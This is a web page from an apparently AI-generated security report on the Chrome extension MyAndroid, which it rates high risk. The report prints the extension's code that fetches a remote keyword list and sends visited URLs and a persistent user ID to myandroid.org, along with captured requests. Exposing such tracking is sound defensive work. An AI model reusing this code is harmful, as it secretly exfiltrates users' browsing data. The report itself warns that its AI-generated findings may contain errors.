Is Android emulator MyAndroid safe?

High risk

MyAndroid is high risk. The extension fetches a keyword list from www.myandroid.org hourly to decide what to report. The list ('apk','aab','xapk',...) is stored locally: non-matching URLs draw no requests, while three APK navigations each triggered transmission.…

MyAndroidv1.3.1Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-829
SourceAI SANDBOX

Remote Server Controls Which URLs Are Collected via Keyword Config

The extension fetches a keyword list from www.myandroid.org hourly to decide what to report.

The list ('apk','aab','xapk',...) is stored locally: non-matching URLs draw no requests, while three APK navigations each triggered transmission.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any page while the extension is installed.

The extension did this

The extension checks your URL against a keyword list fetched from www.myandroid.org, then transmits the URL if it matches.

The keyword list is refreshed from the server at most once per hour, giving the server operator control over which URLs are collected without updating the extension.

02EvidenceTEMPORAL PATTERN
When this fires
Every 1 hour

Config is refreshed at most once per hour. The check fires on every navigation event; if an hour has elapsed since the last fetch, a new GET request retrieves the current keyword list.

03EvidenceSTORAGE DUMP
What's stored on your device

The active keyword list from analysis. A URL containing a term (apk, aab, xapk...) triggers transmission; the server can change it anytime.

Locationchrome.storage.local key 'filetypesData'
Contents
<head/><xml>;apk;apks;aab;xapk;apkm;akp;ama;tem;exp;tri;hot;exp;</xml>
04EvidenceCODE COMPARE
The code that does this

Config fetch and keyword-match logic:

What it actually does
// Step 1: fetch and cache the keyword list (at most once per hour)
fetch('https://www.myandroid.org/app/filetypes-list.php')
    .then(res => res.text())
    .then(rawConfig => {
        chrome.storage.local.set({
            filetypesData: rawConfig,  // e.g. "<head/><xml>;apk;aab;xapk;</xml>"
            lastFetchTime: Date.now()
        });
    });

// Step 2: on each navigation, test the URL against the cached keyword list
let config = cachedData.trim();
if (config.startsWith('<xml>') && config.endsWith('</xml>')) {
    config = config.slice(5, -6);  // strip XML wrapper
}
const keywords = config.split(';').map(k => k.trim()).filter(Boolean);
for (const keyword of keywords) {
    if (currentUrl.includes(keyword)) {
        sendUrlToServer(currentUrl + '|||xx', userId);  // transmit on first match
        return;
    }
}
05EvidenceTHIRD PARTY LIST
Remote configuration source:
  • www.myandroid.org

    Hosts the keyword config at /app/filetypes-list.php and receives collected URLs at /app/a-androidemula-v3.php; one operator controls both.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Visited URLs Sent to Remote Server When Keywords Match

Dynamic analysis captured the extension sending full page URLs to myandroid.org on navigations matching a keyword from a remote list, hex-encoded plus a per-user ID.

Three APK navigations each produced an outbound GET within seconds.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to a page whose URL contains a keyword from the extension's remotely-configured list.

The extension did this

The extension sends the full URL of that page and your persistent user ID to www.myandroid.org without any visible notification.

The request fires as a GET to a-androidemula-v3.php with the URL hex-encoded in the 'filepath' parameter.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://www.myandroid.org/app/a-androidemula-v3.php?dx=00&filepath=68747470733a2f2f7777772e61706b6d6972726f722e636f6d2f61706b2f676f6f676c652d696e632f7c7c7c7878&hex=1&usty=jquavyabcc
HTTP 200; response body checked for '1302' string which would trigger a forced tab redirect.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The visited URL is hex-encoded in the 'filepath' query parameter, making it non-obvious in proxy logs without decoding.

What's actually being sent
https://www.apkmirror.com/apk/google-inc/|||xx
04EvidenceFIELD TABLE
Data transmitted in each collection request:
FieldValueWhy it matters
Page URL you visited
https://www.apkmirror.com/apk/google-inc/ (decoded from filepath param)The full address of the page, hex-encoded. Captures the exact resource you accessed, including any query parameters.
Your persistent user ID
jquavyabccA 10-character random string generated on first run and stored permanently. Lets the server link all your URL reports across sessions.
Request type flag
dx=00, hex=1Hardcoded value 'dx=00' and 'hex=1' sent with every request.
05EvidenceCODE COMPARE
The code that does this

The transmission function in the extension source:

What it actually does
// Sends the visited URL (hex-encoded) and persistent user ID to the collection server.
// Also: if the server responds with '1302' in the body, the current tab is
// redirected to a second endpoint (r-androidemula-v3.php) — a server-triggered redirect.
async function sendUrlToServer(visitedUrl, userId) {
    const hexUrl = bin2hex(visitedUrl + '|||xx');  // append suffix before encoding
    const collectUrl = `https://www.myandroid.org/app/a-androidemula-v3.php?dx=00&filepath=${hexUrl}&hex=1&usty=${userId}`;
    const response = await fetch(collectUrl);
    if (response.status === 200) {
        const body = await response.text();
        if (body.includes('1302')) {
            // Server-triggered redirect: force current tab to second endpoint
            const redirectUrl = `https://www.myandroid.org/app/r-androidemula-v3.php?dx=00&filepath=${hexUrl}&hex=1&usty=${userId}`;
            chrome.tabs.update(currentTabId, { url: redirectUrl });
        }
    }
}
06EvidenceTHIRD PARTY LIST
Where the URL data is sent:
  • www.myandroid.org

    Primary collection endpoint. Receives hex-encoded URLs and persistent user IDs via GET to /app/a-androidemula-v3.php. Also hosts the keyword config at /app/filetypes-list.php.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Persistent Tracking ID Generated and Sent with Every URL Report

On first run, the extension makes a 10-char random ID, stored permanently.

The value ('jquavyabcc' here) appeared in every outbound transmission as 'usty', across two consecutive requests, letting the server link all reports to one install.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install the extension for the first time.

The extension did this

The extension generates a random 10-character identifier and stores it permanently on your device.

From that point on, every URL report the extension sends includes this identifier, allowing the collection server to link all your reports together.

02EvidenceSTORAGE DUMP
What's stored on your device

The persistent tracking ID captured during analysis, present in both observed URL-reporting requests and stored across restarts.

Locationchrome.storage.local key 'usty'
Contents
jquavyabcc
03EvidenceCODE COMPARE
The code that does this

ID generation and persistence on first run:

What it actually does
// On extension startup: load or generate the persistent user identifier.
chrome.storage.local.get('usty', function(stored) {
    chrome.storage.local.set({ myroidc: '1' });  // enable collection by default

    if (stored.usty) {
        // Returning install: reuse the stored ID
        userId = stored.usty;
        const tracker = new NavigationTracker(userId);
        tracker.init();
    } else {
        // First run: generate a new permanent 10-char random ID
        userId = randStrr(10).toLowerCase();
        chrome.storage.local.set({ usty: userId }, function() {
            const tracker = new NavigationTracker(userId);
            tracker.init();
        });
    }
});
04EvidenceNETWORK CAPTURE
Captured request
GEThttps://www.myandroid.org/app/a-androidemula-v3.php?dx=00&filepath=68747470733a2f2f61706b707572652e6e65742f646f776e6c6f61642d61706b2d617070732e68746d6c7c7c7c7878&hex=1&usty=jquavyabcc
HTTP 200; same 'usty=jquavyabcc' present in a second captured request to same endpoint, confirming persistent cross-session correlation.
Updated 10 September 2026npcbllnmpghkdjeaocappkiedkiljhgk